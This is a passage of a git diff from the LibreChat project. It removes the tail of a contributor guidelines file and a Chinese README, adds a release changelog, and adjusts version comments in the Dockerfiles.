-- `for...in` only for object property enumeration.
-
----
-
-## Frontend Rules (`client/src/**/*`)
-
-### Localization
-
-- All user-facing text must use `useLocalize()`.
-- Only update English keys in `client/src/locales/en/translation.json` (other languages are automated externally).
-- Semantic key prefixes: `com_ui_`, `com_assistants_`, etc.
-
-### Components
-
-- TypeScript for all React components with proper type imports.
-- Semantic HTML with ARIA labels (`role`, `aria-label`) for accessibility.
-- Group related components in feature directories (e.g., `SidePanel/Memories/`).
-- Use index files for clean exports.
-
-### Data Management
-
-- Feature hooks: `client/src/data-provider/[Feature]/queries.ts` → `[Feature]/index.ts` → `client/src/data-provider/index.ts`.
-- React Query (`@tanstack/react-query`) for all API interactions; proper query invalidation on mutations.
-- QueryKeys and MutationKeys in `packages/data-provider/src/keys.ts`.
-
-### Data-Provider Integration
-
-- Endpoints: `packages/data-provider/src/api-endpoints.ts`
-- Data service: `packages/data-provider/src/data-service.ts`
-- Types: `packages/data-provider/src/types/queries.ts`
-- Use `encodeURIComponent` for dynamic URL parameters.
-
-### Performance
-
-- Prioritize memory and speed efficiency at scale.
-- Cursor pagination for large datasets.
-- Proper dependency arrays to avoid unnecessary re-renders.
-- Leverage React Query caching and background refetching.
-
----
-
-## Development Commands
-
-| Command | Purpose |
-|---|---|
-| `npm run smart-reinstall` | Install deps (if lockfile changed) + build via Turborepo |
-| `npm run reinstall` | Clean install — wipe `node_modules` and reinstall from scratch |
-| `npm run backend` | Start the backend server |
-| `npm run backend:dev` | Start backend with file watching (development) |
-| `npm run build` | Build all compiled code via Turborepo (parallel, cached) |
-| `npm run frontend` | Build all compiled code sequentially (legacy fallback) |
-| `npm run frontend:dev` | Start frontend dev server with HMR (port 3090, requires backend running) |
-| `npm run build:data-provider` | Rebuild `packages/data-provider` after changes |
-
-- Node.js: v20.19.0+ or ^22.12.0 or >= 23.0.0
-- Database: MongoDB
-- Backend runs on `http://localhost:3080/`; frontend dev server on `http://localhost:3090/`
-
----
-
-## Testing
-
-- Framework: **Jest**, run per-workspace.
-- Run tests from their workspace directory: `cd api && npx jest `, `cd packages/api && npx jest `, etc.
-- Frontend tests: `__tests__` directories alongside components; use `test/layout-test-utils` for rendering.
-- Cover loading, success, and error states for UI/data flows.
-
-### Philosophy
-
-- **Real logic over mocks.** Exercise actual code paths with real dependencies. Mocking is a last resort.
-- **Spies over mocks.** Assert that real functions are called with expected arguments and frequency without replacing underlying logic.
-- **MongoDB**: use `mongodb-memory-server` for a real in-memory MongoDB instance. Test actual queries and schema validation, not mocked DB calls.
-- **MCP**: use real `@modelcontextprotocol/sdk` exports for servers, transports, and tool definitions. Mirror real scenarios, don't stub SDK internals.
-- Only mock what you cannot control: external HTTP APIs, rate-limited services, non-deterministic system calls.
-- Heavy mocking is a code smell, not a testing strategy.
-
----
-
-## Formatting
-
-Fix all formatting lint errors (trailing spaces, tabs, newlines, indentation) using auto-fix when available. All TypeScript/ESLint warnings and errors **must** be resolved.
diff --git a/CHANGELOG.md b/CHANGELOG.md
new file mode 100644
index 0000000000..a8cb8282bd
--- /dev/null
+++ b/CHANGELOG.md
@@ -0,0 +1,236 @@
+# Changelog
+
+All notable changes to this project will be documented in this file.
+
+
+
+
+
+
+## [Unreleased]
+
+### ✨ New Features
+
+- ✨ feat: implement search parameter updates by **@mawburn** in [#7151](https://github.com/danny-avila/LibreChat/pull/7151)
+- 🎏 feat: Add MCP support for Streamable HTTP Transport by **@benverhees** in [#7353](https://github.com/danny-avila/LibreChat/pull/7353)
+- 🔒 feat: Add Content Security Policy using Helmet middleware by **@rubentalstra** in [#7377](https://github.com/danny-avila/LibreChat/pull/7377)
+- ✨ feat: Add Normalization for MCP Server Names by **@danny-avila** in [#7421](https://github.com/danny-avila/LibreChat/pull/7421)
+- 📊 feat: Improve Helm Chart by **@hofq** in [#3638](https://github.com/danny-avila/LibreChat/pull/3638)
+- 🦾 feat: Claude-4 Support by **@danny-avila** in [#7509](https://github.com/danny-avila/LibreChat/pull/7509)
+- 🪨 feat: Bedrock Support for Claude-4 Reasoning by **@danny-avila** in [#7517](https://github.com/danny-avila/LibreChat/pull/7517)
+
+### 🌍 Internationalization
+
+- 🌍 i18n: Add `Danish` and `Czech` and `Catalan` localization support by **@rubentalstra** in [#7373](https://github.com/danny-avila/LibreChat/pull/7373)
+- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7375](https://github.com/danny-avila/LibreChat/pull/7375)
+- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7468](https://github.com/danny-avila/LibreChat/pull/7468)
+
+### 🔧 Fixes
+
+- 💬 fix: update aria-label for accessibility in ConvoLink component by **@berry-13** in [#7320](https://github.com/danny-avila/LibreChat/pull/7320)
+- 🔑 fix: use `apiKey` instead of `openAIApiKey` in OpenAI-like Config by **@danny-avila** in [#7337](https://github.com/danny-avila/LibreChat/pull/7337)
+- 🔄 fix: update navigation logic in `useFocusChatEffect` to ensure correct search parameters are used by **@mawburn** in [#7340](https://github.com/danny-avila/LibreChat/pull/7340)
+- 🔄 fix: Improve MCP Connection Cleanup by **@danny-avila** in [#7400](https://github.com/danny-avila/LibreChat/pull/7400)
+- 🛡️ fix: Preset and Validation Logic for URL Query Params by **@danny-avila** in [#7407](https://github.com/danny-avila/LibreChat/pull/7407)
+- 🌘 fix: artifact of preview text is illegible in dark mode by **@nhtruong** in [#7405](https://github.com/danny-avila/LibreChat/pull/7405)
+- 🛡️ fix: Temporarily Remove CSP until Configurable by **@danny-avila** in [#7419](https://github.com/danny-avila/LibreChat/pull/7419)
+- 💽 fix: Exclude index page `/` from static cache settings by **@sbruel** in [#7382](https://github.com/danny-avila/LibreChat/pull/7382)
+
+### ⚙️ Other Changes
+
+- 📜 docs: CHANGELOG for release v0.7.8 by **@github-actions[bot]** in [#7290](https://github.com/danny-avila/LibreChat/pull/7290)
+- 📦 chore: Update API Package Dependencies by **@danny-avila** in [#7359](https://github.com/danny-avila/LibreChat/pull/7359)
+- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7321](https://github.com/danny-avila/LibreChat/pull/7321)
+- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7434](https://github.com/danny-avila/LibreChat/pull/7434)
+- 🛡️ chore: `multer` v2.0.0 for CVE-2025-47935 and CVE-2025-47944 by **@danny-avila** in [#7454](https://github.com/danny-avila/LibreChat/pull/7454)
+- 📂 refactor: Improve `FileAttachment` & File Form Deletion by **@danny-avila** in [#7471](https://github.com/danny-avila/LibreChat/pull/7471)
+- 📊 chore: Remove Old Helm Chart by **@hofq** in [#7512](https://github.com/danny-avila/LibreChat/pull/7512)
+- 🪖 chore: bump helm app version to v0.7.8 by **@austin-barrington** in [#7524](https://github.com/danny-avila/LibreChat/pull/7524)
+
+
+
+---
+## [v0.7.8] -
+
+Changes from v0.7.8-rc1 to v0.7.8.
+
+### ✨ New Features
+
+- ✨ feat: Enhance form submission for touch screens by **@berry-13** in [#7198](https://github.com/danny-avila/LibreChat/pull/7198)
+- 🔍 feat: Additional Tavily API Tool Parameters by **@glowforge-opensource** in [#7232](https://github.com/danny-avila/LibreChat/pull/7232)
+- 🐋 feat: Add python to Dockerfile for increased MCP compatibility by **@technicalpickles** in [#7270](https://github.com/danny-avila/LibreChat/pull/7270)
+
+### 🔧 Fixes
+
+- 🔧 fix: Google Gemma Support & OpenAI Reasoning Instructions by **@danny-avila** in [#7196](https://github.com/danny-avila/LibreChat/pull/7196)
+- 🛠️ fix: Conversation Navigation State by **@danny-avila** in [#7210](https://github.com/danny-avila/LibreChat/pull/7210)
+- 🔄 fix: o-Series Model Regex for System Messages by **@danny-avila** in [#7245](https://github.com/danny-avila/LibreChat/pull/7245)
+- 🔖 fix: Custom Headers for Initial MCP SSE Connection by **@danny-avila** in [#7246](https://github.com/danny-avila/LibreChat/pull/7246)
+- 🛡️ fix: Deep Clone `MCPOptions` for User MCP Connections by **@danny-avila** in [#7247](https://github.com/danny-avila/LibreChat/pull/7247)
+- 🔄 fix: URL Param Race Condition and File Draft Persistence by **@danny-avila** in [#7257](https://github.com/danny-avila/LibreChat/pull/7257)
+- 🔄 fix: Assistants Endpoint & Minor Issues by **@danny-avila** in [#7274](https://github.com/danny-avila/LibreChat/pull/7274)
+- 🔄 fix: Ollama Think Tag Edge Case with Tools by **@danny-avila** in [#7275](https://github.com/danny-avila/LibreChat/pull/7275)
+
+### ⚙️ Other Changes
+
+- 📜 docs: CHANGELOG for release v0.7.8-rc1 by **@github-actions[bot]** in [#7153](https://github.com/danny-avila/LibreChat/pull/7153)
+- 🔄 refactor: Artifact Visibility Management by **@danny-avila** in [#7181](https://github.com/danny-avila/LibreChat/pull/7181)
+- 📦 chore: Bump Package Security by **@danny-avila** in [#7183](https://github.com/danny-avila/LibreChat/pull/7183)
+- 🌿 refactor: Unmount Fork Popover on Hide for Better Performance by **@danny-avila** in [#7189](https://github.com/danny-avila/LibreChat/pull/7189)
+- 🧰 chore: ESLint configuration to enforce Prettier formatting rules by **@mawburn** in [#7186](https://github.com/danny-avila/LibreChat/pull/7186)
+- 🎨 style: Improve KaTeX Rendering for LaTeX Equations by **@andresgit** in [#7223](https://github.com/danny-avila/LibreChat/pull/7223)
+- 📝 docs: Update `.env.example` Google models by **@marlonka** in [#7254](https://github.com/danny-avila/LibreChat/pull/7254)
+- 💬 refactor: MCP Chat Visibility Option, Google Rates, Remove OpenAPI Plugins by **@danny-avila** in [#7286](https://github.com/danny-avila/LibreChat/pull/7286)
+- 📜 docs: Unreleased Changelog by **@github-actions[bot]** in [#7214](https://github.com/danny-avila/LibreChat/pull/7214)
+
+
+
+[See full release details][release-v0.7.8]
+
+[release-v0.7.8]: https://github.com/danny-avila/LibreChat/releases/tag/v0.7.8
+
+---
+## [v0.7.8-rc1] -
+
+Changes from v0.7.7 to v0.7.8-rc1.
+
+### ✨ New Features
+
+- 🔍 feat: Mistral OCR API / Upload Files as Text by **@danny-avila** in [#6274](https://github.com/danny-avila/LibreChat/pull/6274)
+- 🤖 feat: Support OpenAI Web Search models by **@danny-avila** in [#6313](https://github.com/danny-avila/LibreChat/pull/6313)
+- 🔗 feat: Agent Chain (Mixture-of-Agents) by **@danny-avila** in [#6374](https://github.com/danny-avila/LibreChat/pull/6374)
+- ⌛ feat: `initTimeout` for Slow Starting MCP Servers by **@perweij** in [#6383](https://github.com/danny-avila/LibreChat/pull/6383)
+- 🚀 feat: `S3` Integration for File handling and Image uploads by **@rubentalstra** in [#6142](https://github.com/danny-avila/LibreChat/pull/6142)
+- 🔒feat: Enable OpenID Auto-Redirect by **@leondape** in [#6066](https://github.com/danny-avila/LibreChat/pull/6066)
+- 🚀 feat: Integrate `Azure Blob Storage` for file handling and image uploads by **@rubentalstra** in [#6153](https://github.com/danny-avila/LibreChat/pull/6153)
+- 🚀 feat: Add support for custom `AWS` endpoint in `S3` by **@rubentalstra** in [#6431](https://github.com/danny-avila/LibreChat/pull/6431)
+- 🚀 feat: Add support for LDAP STARTTLS in LDAP authentication by **@rubentalstra** in [#6438](https://github.com/danny-avila/LibreChat/pull/6438)
+- 🚀 feat: Refactor schema exports and update package version to 0.0.4 by **@rubentalstra** in [#6455](https://github.com/danny-avila/LibreChat/pull/6455)
+- 🔼 feat: Add Auto Submit For URL Query Params by **@mjaverto** in [#6440](https://github.com/danny-avila/LibreChat/pull/6440)
+- 🛠 feat: Enhance Redis Integration, Rate Limiters & Log Headers by **@danny-avila** in [#6462](https://github.com/danny-avila/LibreChat/pull/6462)
+- 💵 feat: Add Automatic Balance Refill by **@rubentalstra** in [#6452](https://github.com/danny-avila/LibreChat/pull/6452)
+- 🗣️ feat: add support for gpt-4o-transcribe models by **@berry-13** in [#6483](https://github.com/danny-avila/LibreChat/pull/6483)
+- 🎨 feat: UI Refresh for Enhanced UX by **@berry-13** in [#6346](https://github.com/danny-avila/LibreChat/pull/6346)
+- 🌍 feat: Add support for Hungarian language localization by **@rubentalstra** in [#6508](https://github.com/danny-avila/LibreChat/pull/6508)
+- 🚀 feat: Add Gemini 2.5 Token/Context Values, Increase Max Possible Output to 64k by **@danny-avila** in [#6563](https://github.com/danny-avila/LibreChat/pull/6563)
+- 🚀 feat: Enhance MCP Connections For Multi-User Support by **@danny-avila** in [#6610](https://github.com/danny-avila/LibreChat/pull/6610)
+- 🚀 feat: Enhance S3 URL Expiry with Refresh; fix: S3 File Deletion by **@danny-avila** in [#6647](https://github.com/danny-avila/LibreChat/pull/6647)
+- 🚀 feat: enhance UI components and refactor settings by **@berry-13** in [#6625](https://github.com/danny-avila/LibreChat/pull/6625)
+- 💬 feat: move TemporaryChat to the Header by **@berry-13** in [#6646](https://github.com/danny-avila/LibreChat/pull/6646)
+- 🚀 feat: Use Model Specs + Specific Endpoints, Limit Providers for Agents by **@danny-avila** in [#6650](https://github.com/danny-avila/LibreChat/pull/6650)
+- 🪙 feat: Sync Balance Config on Login by **@danny-avila** in [#6671](https://github.com/danny-avila/LibreChat/pull/6671)
+- 🔦 feat: MCP Support for Non-Agent Endpoints by **@danny-avila** in [#6775](https://github.com/danny-avila/LibreChat/pull/6775)
+- 🗃️ feat: Code Interpreter File Persistence between Sessions by **@danny-avila** in [#6790](https://github.com/danny-avila/LibreChat/pull/6790)
+- 🖥️ feat: Code Interpreter API for Non-Agent Endpoints by **@danny-avila** in [#6803](https://github.com/danny-avila/LibreChat/pull/6803)
+- ⚡ feat: Self-hosted Artifacts Static Bundler URL by **@danny-avila** in [#6827](https://github.com/danny-avila/LibreChat/pull/6827)
+- 🐳 feat: Add Jemalloc and UV to Docker Builds by **@danny-avila** in [#6836](https://github.com/danny-avila/LibreChat/pull/6836)
+- 🤖 feat: GPT-4.1 by **@danny-avila** in [#6880](https://github.com/danny-avila/LibreChat/pull/6880)
+- 👋 feat: remove Edge TTS by **@berry-13** in [#6885](https://github.com/danny-avila/LibreChat/pull/6885)
+- feat: nav optimization by **@berry-13** in [#5785](https://github.com/danny-avila/LibreChat/pull/5785)
+- 🗺️ feat: Add Parameter Location Mapping for OpenAPI actions by **@peeeteeer** in [#6858](https://github.com/danny-avila/LibreChat/pull/6858)
+- 🤖 feat: Support `o4-mini` and `o3` Models by **@danny-avila** in [#6928](https://github.com/danny-avila/LibreChat/pull/6928)
+- 🎨 feat: OpenAI Image Tools (GPT-Image-1) by **@danny-avila** in [#7079](https://github.com/danny-avila/LibreChat/pull/7079)
+- 🗓️ feat: Add Special Variables for Prompts & Agents, Prompt UI Improvements by **@danny-avila** in [#7123](https://github.com/danny-avila/LibreChat/pull/7123)
+
+### 🌍 Internationalization
+
+- 🌍 i18n: Add Thai Language Support and Update Translations by **@rubentalstra** in [#6219](https://github.com/danny-avila/LibreChat/pull/6219)
+- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6220](https://github.com/danny-avila/LibreChat/pull/6220)
+- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6240](https://github.com/danny-avila/LibreChat/pull/6240)
+- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6241](https://github.com/danny-avila/LibreChat/pull/6241)
+- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6277](https://github.com/danny-avila/LibreChat/pull/6277)
+- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6414](https://github.com/danny-avila/LibreChat/pull/6414)
+- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6505](https://github.com/danny-avila/LibreChat/pull/6505)
+- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6530](https://github.com/danny-avila/LibreChat/pull/6530)
+- 🌍 i18n: Add Persian Localization Support by **@rubentalstra** in [#6669](https://github.com/danny-avila/LibreChat/pull/6669)
+- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#6667](https://github.com/danny-avila/LibreChat/pull/6667)
+- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7126](https://github.com/danny-avila/LibreChat/pull/7126)
+- 🌍 i18n: Update translation.json with latest translations by **@github-actions[bot]** in [#7148](https://github.com/danny-avila/LibreChat/pull/7148)
+
+### 👐 Accessibility
+
+- 🎨 a11y: Update Model Spec Description Text by **@berry-13** in [#6294](https://github.com/danny-avila/LibreChat/pull/6294)
+- 🗑️ a11y: Add Accessible Name to Button for File Attachment Removal by **@kangabell** in [#6709](https://github.com/danny-avila/LibreChat/pull/6709)
+- ⌨️ a11y: enhance accessibility & visual consistency by **@berry-13** in [#6866](https://github.com/danny-avila/LibreChat/pull/6866)
+- 🙌 a11y: Searchbar/Conversations List Focus by **@danny-avila** in [#7096](https://github.com/danny-avila/LibreChat/pull/7096)
+- 👐 a11y: Improve Fork and SplitText Accessibility by **@danny-avila** in [#7147](https://github.com/danny-avila/LibreChat/pull/7147)
+
+### 🔧 Fixes
+
+- 🐛 fix: Avatar Type Definitions in Agent/Assistant Schemas by **@danny-avila** in [#6235](https://github.com/danny-avila/LibreChat/pull/6235)
+- 🔧 fix: MeiliSearch Field Error and Patch Incorrect Import by #6210 by **@rubentalstra** in [#6245](https://github.com/danny-avila/LibreChat/pull/6245)
+- 🔏 fix: Enhance Two-Factor Authentication by **@rubentalstra** in [#6247](https://github.com/danny-avila/LibreChat/pull/6247)
+- 🐛 fix: Await saveMessage in abortMiddleware to ensure proper execution by **@sh4shii** in [#6248](https://github.com/danny-avila/LibreChat/pull/6248)
+- 🔧 fix: Axios Proxy Usage And Bump `mongoose` by **@danny-avila** in [#6298](https://github.com/danny-avila/LibreChat/pull/6298)
+- 🔧 fix: comment out MCP servers to resolve service run issues by **@KunalScriptz** in [#6316](https://github.com/danny-avila/LibreChat/pull/6316)
+- 🔧 fix: Update Token Calculations and Mapping, MCP `env` Initialization by **@danny-avila** in [#6406](https://github.com/danny-avila/LibreChat/pull/6406)
+- 🐞 fix: Agent "Resend" Message Attachments + Source Icon Styling by **@danny-avila** in [#6408](https://github.com/danny-avila/LibreChat/pull/6408)
+- 🐛 fix: Prevent Crash on Duplicate Message ID by **@Odrec** in [#6392](https://github.com/danny-avila/LibreChat/pull/6392)
+- 🔐 fix: Invalid Key Length in 2FA Encryption by **@rubentalstra** in [#6432](https://github.com/danny-avila/LibreChat/pull/6432)
+- 🏗️ fix: Fix Agents Token Spend Race Conditions, Expand Test Coverage by **@danny-avila** in [#6480](https://github.com/danny-avila/LibreChat/pull/6480)
+- 🔃 fix: Draft Clearing, Claude Titles, Remove Default Vision Max Tokens by **@danny-avila** in [#6501](https://github.com/danny-avila/LibreChat/pull/6501)
+- 🔧 fix: Update username reference to use user.name in greeting display by **@rubentalstra** in [#6534](https://github.com/danny-avila/LibreChat/pull/6534)
+- 🔧 fix: S3 Download Stream with Key Extraction and Blob Storage Encoding for Vision by **@danny-avila** in [#6557](https://github.com/danny-avila/LibreChat/pull/6557)
+- 🔧 fix: Mistral type strictness for `usage` & update token values/windows by **@danny-avila** in [#6562](https://github.com/danny-avila/LibreChat/pull/6562)
+- 🔧 fix: Consolidate Text Parsing and TTS Edge Initialization by **@danny-avila** in [#6582](https://github.com/danny-avila/LibreChat/pull/6582)
+- 🔧 fix: Ensure continuation in image processing on base64 encoding from Blob Storage by **@danny-avila** in [#6619](https://github.com/danny-avila/LibreChat/pull/6619)
+- ✉️ fix: Fallback For User Name In Email Templates by **@danny-avila** in [#6620](https://github.com/danny-avila/LibreChat/pull/6620)
+- 🔧 fix: Azure Blob Integration and File Source References by **@rubentalstra** in [#6575](https://github.com/danny-avila/LibreChat/pull/6575)
+- 🐛 fix: Safeguard against undefined addedEndpoints by **@wipash** in [#6654](https://github.com/danny-avila/LibreChat/pull/6654)
+- 🤖 fix: Gemini 2.5 Vision Support by **@danny-avila** in [#6663](https://github.com/danny-avila/LibreChat/pull/6663)
+- 🔄 fix: Avatar & Error Handling Enhancements by **@danny-avila** in [#6687](https://github.com/danny-avila/LibreChat/pull/6687)
+- 🔧 fix: Chat Middleware, Zod Conversion, Auto-Save and S3 URL Refresh by **@danny-avila** in [#6720](https://github.com/danny-avila/LibreChat/pull/6720)
+- 🔧 fix: Agent Capability Checks & DocumentDB Compatibility for Agent Resource Removal by **@danny-avila** in [#6726](https://github.com/danny-avila/LibreChat/pull/6726)
+- 🔄 fix: Improve audio MIME type detection and handling by **@berry-13** in [#6707](https://github.com/danny-avila/LibreChat/pull/6707)
+- 🪺 fix: Update Role Handling due to New Schema Shape by **@danny-avila** in [#6774](https://github.com/danny-avila/LibreChat/pull/6774)
+- 🗨️ fix: Show ModelSpec Greeting by **@berry-13** in [#6770](https://github.com/danny-avila/LibreChat/pull/6770)
+- 🔧 fix: Keyv and Proxy Issues, and More Memory Optimizations by **@danny-avila** in [#6867](https://github.com/danny-avila/LibreChat/pull/6867)
+- ✨ fix: Implement dynamic text sizing for greeting and name display by **@berry-13** in [#6833](https://github.com/danny-avila/LibreChat/pull/6833)
+- 📝 fix: Mistral OCR Image Support and Azure Agent Titles by **@danny-avila** in [#6901](https://github.com/danny-avila/LibreChat/pull/6901)
+- 📢 fix: Invalid `engineTTS` and Conversation State on Navigation by **@berry-13** in [#6904](https://github.com/danny-avila/LibreChat/pull/6904)
+- 🛠️ fix: Improve Accessibility and Display of Conversation Menu by **@danny-avila** in [#6913](https://github.com/danny-avila/LibreChat/pull/6913)
+- 🔧 fix: Agent Resource Form, Convo Menu Style, Ensure Draft Clears on Submission by **@danny-avila** in [#6925](https://github.com/danny-avila/LibreChat/pull/6925)
+- 🔀 fix: MCP Improvements, Auto-Save Drafts, Artifact Markup by **@danny-avila** in [#7040](https://github.com/danny-avila/LibreChat/pull/7040)
+- 🐋 fix: Improve Deepseek Compatbility by **@danny-avila** in [#7132](https://github.com/danny-avila/LibreChat/pull/7132)
+- 🐙 fix: Add Redis Ping Interval to Prevent Connection Drops by **@peeeteeer** in [#7127](https://github.com/danny-avila/LibreChat/pull/7127)
+
+### ⚙️ Other Changes
+
+- 📦 refactor: Move DB Models to `@librechat/data-schemas` by **@rubentalstra** in [#6210](https://github.com/danny-avila/LibreChat/pull/6210)
+- 📦 chore: Patch `axios` to address CVE-2025-27152 by **@danny-avila** in [#6222](https://github.com/danny-avila/LibreChat/pull/6222)
+- ⚠️ refactor: Use Error Content Part Instead Of Throwing Error for Agents by **@danny-avila** in [#6262](https://github.com/danny-avila/LibreChat/pull/6262)
+- 🏃♂️ refactor: Improve Agent Run Context & Misc. Changes by **@danny-avila** in [#6448](https://github.com/danny-avila/LibreChat/pull/6448)
+- 📝 docs: librechat.example.yaml by **@ineiti** in [#6442](https://github.com/danny-avila/LibreChat/pull/6442)
+- 🏃♂️ refactor: More Agent Context Improvements during Run by **@danny-avila** in [#6477](https://github.com/danny-avila/LibreChat/pull/6477)
+- 🔃 refactor: Allow streaming for `o1` models by **@danny-avila** in [#6509](https://github.com/danny-avila/LibreChat/pull/6509)
+- 🔧 chore: `Vite` Plugin Upgrades & Config Optimizations by **@rubentalstra** in [#6547](https://github.com/danny-avila/LibreChat/pull/6547)
+- 🔧 refactor: Consolidate Logging, Model Selection & Actions Optimizations, Minor Fixes by **@danny-avila** in [#6553](https://github.com/danny-avila/LibreChat/pull/6553)
+- 🎨 style: Address Minor UI Refresh Issues by **@berry-13** in [#6552](https://github.com/danny-avila/LibreChat/pull/6552)
+- 🔧 refactor: Enhance Model & Endpoint Configurations with Global Indicators 🌍 by **@berry-13** in [#6578](https://github.com/danny-avila/LibreChat/pull/6578)
+- 💬 style: Chat UI, Greeting, and Message adjustments by **@berry-13** in [#6612](https://github.com/danny-avila/LibreChat/pull/6612)
+- ⚡ refactor: DocumentDB Compatibility for Balance Updates by **@danny-avila** in [#6673](https://github.com/danny-avila/LibreChat/pull/6673)
+- 🧹 chore: Update ESLint rules for React hooks by **@rubentalstra** in [#6685](https://github.com/danny-avila/LibreChat/pull/6685)
+- 🪙 chore: Update Gemini Pricing by **@RedwindA** in [#6731](https://github.com/danny-avila/LibreChat/pull/6731)
+- 🪺 refactor: Nest Permission fields for Roles by **@rubentalstra** in [#6487](https://github.com/danny-avila/LibreChat/pull/6487)
+- 📦 chore: Update `caniuse-lite` dependency to version 1.0.30001706 by **@rubentalstra** in [#6482](https://github.com/danny-avila/LibreChat/pull/6482)
+- ⚙️ refactor: OAuth Flow Signal, Type Safety, Tool Progress & Updated Packages by **@danny-avila** in [#6752](https://github.com/danny-avila/LibreChat/pull/6752)
+- 📦 chore: bump vite from 6.2.3 to 6.2.5 by **@dependabot[bot]** in [#6745](https://github.com/danny-avila/LibreChat/pull/6745)
+- 💾 chore: Enhance Local Storage Handling and Update MCP SDK by **@danny-avila** in [#6809](https://github.com/danny-avila/LibreChat/pull/6809)
+- 🤖 refactor: Improve Agents Memory Usage, Bump Keyv, Grok 3 by **@danny-avila** in [#6850](https://github.com/danny-avila/LibreChat/pull/6850)
+- 💾 refactor: Enhance Memory In Image Encodings & Client Disposal by **@danny-avila** in [#6852](https://github.com/danny-avila/LibreChat/pull/6852)
+- 🔁 refactor: Token Event Handler and Standardize `maxTokens` Key by **@danny-avila** in [#6886](https://github.com/danny-avila/LibreChat/pull/6886)
+- 🔍 refactor: Search & Message Retrieval by **@berry-13** in [#6903](https://github.com/danny-avila/LibreChat/pull/6903)
+- 🎨 style: standardize dropdown styling & fix z-Index layering by **@berry-13** in [#6939](https://github.com/danny-avila/LibreChat/pull/6939)
+- 📙 docs: CONTRIBUTING.md by **@dblock** in [#6831](https://github.com/danny-avila/LibreChat/pull/6831)
+- 🧭 refactor: Modernize Nav/Header by **@danny-avila** in [#7094](https://github.com/danny-avila/LibreChat/pull/7094)
+- 🪶 refactor: Chat Input Focus for Conversation Navigations & ChatForm Optimizations by **@danny-avila** in [#7100](https://github.com/danny-avila/LibreChat/pull/7100)
+- 🔃 refactor: Streamline Navigation, Message Loading UX by **@danny-avila** in [#7118](https://github.com/danny-avila/LibreChat/pull/7118)
+- 📜 docs: Unreleased changelog by **@github-actions[bot]** in [#6265](https://github.com/danny-avila/LibreChat/pull/6265)
+
+
+
+[See full release details][release-v0.7.8-rc1]
+
+[release-v0.7.8-rc1]: https://github.com/danny-avila/LibreChat/releases/tag/v0.7.8-rc1
+
+---
diff --git a/CLAUDE.md b/CLAUDE.md
deleted file mode 120000
index 47dc3e3d86..0000000000
--- a/CLAUDE.md
+++ /dev/null
@@ -1 +0,0 @@
-AGENTS.md
\ No newline at end of file
diff --git a/Dockerfile b/Dockerfile
index 19d275eb31..d45844c4a6 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,9 +1,9 @@
-# v0.8.4
+# v0.8.3-rc1
# Base node image
FROM node:20-alpine AS node
-RUN apk upgrade --no-cache
+# Install jemalloc
RUN apk add --no-cache jemalloc
RUN apk add --no-cache python3 py3-pip uv
diff --git a/Dockerfile.multi b/Dockerfile.multi
index bf5570f386..5a610725d5 100644
--- a/Dockerfile.multi
+++ b/Dockerfile.multi
@@ -1,12 +1,12 @@
# Dockerfile.multi
-# v0.8.4
+# v0.8.3-rc1
# Set configurable max-old-space-size with default
ARG NODE_MAX_OLD_SPACE_SIZE=6144
# Base for all builds
FROM node:20-alpine AS base-min
-RUN apk upgrade --no-cache
+# Install jemalloc
RUN apk add --no-cache jemalloc
# Set environment variable to use jemalloc
ENV LD_PRELOAD=/usr/lib/libjemalloc.so.2
diff --git a/README.md b/README.md
index 7da34974e3..6e04396637 100644
--- a/README.md
+++ b/README.md
@@ -7,11 +7,6 @@
-
- English ·
- 中文
-
-
-
-
+
+
diff --git a/README.zh.md b/README.zh.md
deleted file mode 100644
index cc9cb5a205..0000000000
--- a/README.zh.md
+++ /dev/null
@@ -1,227 +0,0 @@
-
-
-
-
-
-
-
-
-
-
- English ·
- 中文
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-# ✨ 功能
-
-- 🖥️ **UI 与体验**:受 ChatGPT 启发,并具备更强的设计与功能。
-
-- 🤖 **AI 模型选择**:
- - Anthropic (Claude), AWS Bedrock, OpenAI, Azure OpenAI, Google, Vertex AI, OpenAI Responses API (包含 Azure)
- - [自定义端点 (Custom Endpoints)](https://www.librechat.ai/docs/quick_start/custom_endpoints):LibreChat 支持任何兼容 OpenAI 规范的 API,无需代理。
- - 兼容[本地与远程 AI 服务商](https://www.librechat.ai/docs/configuration/librechat_yaml/ai_endpoints):
- - Ollama, groq, Cohere, Mistral AI, Apple MLX, koboldcpp, together.ai,
- - OpenRouter, Helicone, Perplexity, ShuttleAI, Deepseek, Qwen 等。
-
-- 🔧 **[代码解释器 (Code Interpreter) API](https://www.librechat.ai/docs/features/code_interpreter)**:
- - 安全的沙箱执行环境,支持 Python, Node.js (JS/TS), Go, C/C++, Java, PHP, Rust 和 Fortran。
- - 无缝文件处理:直接上传、处理并下载文件。
- - 隐私无忧:完全隔离且安全的执行环境。
-
-- 🔦 **智能体与工具集成**:
- - **[LibreChat 智能体 (Agents)](https://www.librechat.ai/docs/features/agents)**:
- - 无代码定制助手:无需编程即可构建专业化的 AI 驱动助手。
- - 智能体市场:发现并部署社区构建的智能体。
- - 协作共享:与特定用户和群组共享智能体。
- - 灵活且可扩展:支持 MCP 服务器、工具、文件搜索、代码执行等。
- - 兼容自定义端点、OpenAI, Azure, Anthropic, AWS Bedrock, Google, Vertex AI, Responses API 等。
- - [支持模型上下文协议 (MCP)](https://modelcontextprotocol.io/clients#librechat) 用于工具调用。
-
-- 🔍 **网页搜索**:
- - 搜索互联网并检索相关信息以增强 AI 上下文。
- - 结合搜索提供商、内容爬虫和结果重排序,确保最佳检索效果。
- - **可定制 Jina 重排序**:配置自定义 Jina API URL 用于重排序服务。
